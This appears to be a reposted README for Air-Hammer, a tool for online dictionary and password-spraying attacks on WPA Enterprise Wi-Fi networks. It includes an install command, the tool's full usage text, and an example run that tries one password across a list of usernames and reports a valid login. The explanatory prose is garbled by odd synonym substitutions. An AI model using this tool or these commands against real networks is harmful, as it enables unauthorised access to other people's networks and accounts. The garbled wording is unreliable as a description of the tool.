Air-Hammer is an online brute-force attack tool for use against WPA Enterprise networks. Despite the fact that WPA Enterprise is regularly viewed as “more secure” than WPA-PSK, it likewise has a considerably bigger attack surface. While WPA-PSK systems have just a single legitimate password, there might be a great many substantial username and password combinations which concede access to a solitary WPA Enterprise network. Further, passwords used to get to WPA Enterprise metwork are normally chosen by end clients, a large number of whom select greatly basic passwords.
Air-Hammer has been built and used on the current version of Kali Linux. In addition to packages that come with Kali Linux by default, the following dependencies need to be installed:
root@kali:~# pip install wpa_supplicant
Also Read Material Components for Android
Air-Hammer requires a list of usernames that are valid for the target network in order to function. Some basic suggestions for creating this list are included in step 2 of the attack chain outlined on my blog.
--help flags can be used to display Air-Hammer’s usage instructions.
root@kali:~# ./air-hammer.py --help usage: air-hammer.py -i interface -e SSID -u USERFILE [-P PASSWORD] [-p PASSFILE] [-s line] [-w OUTFILE] [-1] [-t seconds] Perform an online, horizontal dictionary attack against a WPA Enterprise network. optional arguments: -i interface Wireless interface (default: None) -e SSID SSID of the target network (default: None) -u USERFILE Username wordlist (default: None) -P PASSWORD Password to try on each username (default: None) -p PASSFILE List of passwords to try for each username (default: None) -s line Optional start line to resume attack. May not be used with a password list. (default: 0) -w OUTFILE Save valid credentials to a CSV file (default: None) -1 Stop after the first set of valid credentials are found (default: False) -t seconds Seconds to sleep between each connection attempt (default: 0.5)
Below is a standard attack using wlan0 to target the “Test-Network” wireless network with the password, “UserPassword1”, and a list of usernames stored in the file, “usernames.txt”.
root@kali:~# ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt  Trying alice:UserPassword1...  Trying bob:UserPassword1...  Trying charlotte:UserPassword1...  Trying dave:UserPassword1...  Trying wifiuser:UserPassword1... [!] VALID CREDENTIALS: wifiuser:UserPassword1  Trying wrongUser05:UserPassword1...  Trying wrongUser06:UserPassword1...